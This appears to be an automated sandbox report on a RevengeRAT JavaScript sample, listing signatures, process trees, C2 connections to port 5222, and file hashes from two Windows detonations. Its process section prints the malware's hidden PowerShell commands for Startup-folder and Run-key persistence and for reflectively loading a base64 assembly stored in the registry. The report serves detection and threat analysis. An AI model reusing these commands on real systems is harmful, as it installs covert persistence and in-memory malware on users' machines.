Malware Analysis Report

2025-01-18 04:47

Sample ID 241016-bnr8pazbml
Target 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
SHA256 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a
Tags
revengerat nyancatrevenge execution persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

Threat Level: Known bad

The file 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js was found to be: Known bad.

Malicious Activity Summary

revengerat nyancatrevenge execution persistence trojan

RevengeRAT

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Drops startup file

Checks computer location settings

Adds Run key to start application

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-16 01:17

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-16 01:17

Reported

2024-10-16 01:20

Platform

win7-20241010-en

Max time kernel

132s

Max time network

151s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

Signatures

RevengeRAT

trojan revengerat

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2208 wrote to memory of 2744 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2208 wrote to memory of 2744 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2208 wrote to memory of 2744 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2744 wrote to memory of 1508 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 2744 wrote to memory of 1508 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 2744 wrote to memory of 1508 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\wscript.exe
PID 1508 wrote to memory of 3024 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 3024 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 3024 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 2788 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 2788 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 2788 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 2764 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 2764 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 2764 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'));wscript 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'"

C:\Windows\system32\wscript.exe

"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js' -PropertyType String -Force;"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

Network

Country Destination Domain Proto
US 54.146.241.16:5222 tcp
US 54.146.241.16:5222 tcp
US 54.146.241.16:5222 tcp
US 54.146.241.16:5222 tcp

Files

memory/2744-4-0x000007FEF581E000-0x000007FEF581F000-memory.dmp

memory/2744-6-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

memory/2744-5-0x000000001B1B0000-0x000000001B492000-memory.dmp

memory/2744-7-0x0000000002570000-0x0000000002578000-memory.dmp

memory/2744-8-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

memory/2744-9-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

memory/2744-11-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

MD5 14e68a45361bb287393747ce2b271838
SHA1 16144ac8dc7ecc27e4667a3241da8810f8b84778
SHA256 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a
SHA512 1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

memory/2744-13-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 c10f996481440ace7fa175ba35e550fb
SHA1 6513a6ba964b6d1d09ce21952070e683958e47aa
SHA256 9b2a214f257d6b0766a92c915b41706d1128aa123d6332f5004478a4a648a227
SHA512 c14d6497af63c2dc66f88ebd93aec1b933f4336a2335042f22ae26cbb35a0b183e6f56db21b4d7d31ad7236bf4daebc97e586176b0c40949b184f9651b5ac319

memory/2764-30-0x0000000002650000-0x000000000265A000-memory.dmp

memory/2744-31-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

memory/2744-32-0x000007FEF581E000-0x000007FEF581F000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-16 01:17

Reported

2024-10-16 01:20

Platform

win10v2004-20241007-en

Max time kernel

142s

Max time network

151s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

Signatures

RevengeRAT

trojan revengerat

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'));wscript 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'"

C:\Windows\system32\wscript.exe

"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js' -PropertyType String -Force;"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 14.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 54.146.241.16:5222 tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 16.241.146.54.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 75.209.201.84.in-addr.arpa udp
US 54.146.241.16:5222 tcp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 54.146.241.16:5222 tcp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 54.146.241.16:5222 tcp

Files

memory/2524-0-0x00007FF9158F3000-0x00007FF9158F5000-memory.dmp

memory/2524-1-0x000001FFB0340000-0x000001FFB0362000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5qex5bcb.vv0.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2524-11-0x00007FF9158F0000-0x00007FF9163B1000-memory.dmp

memory/2524-12-0x00007FF9158F0000-0x00007FF9163B1000-memory.dmp

memory/2524-13-0x000001FFB0850000-0x000001FFB0894000-memory.dmp

C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

MD5 14e68a45361bb287393747ce2b271838
SHA1 16144ac8dc7ecc27e4667a3241da8810f8b84778
SHA256 213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a
SHA512 1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

memory/2524-16-0x000001FFB0920000-0x000001FFB0996000-memory.dmp

memory/2936-44-0x000002704F520000-0x000002704F52A000-memory.dmp

memory/2524-46-0x00007FF9158F3000-0x00007FF9158F5000-memory.dmp

memory/2524-47-0x00007FF9158F0000-0x00007FF9163B1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c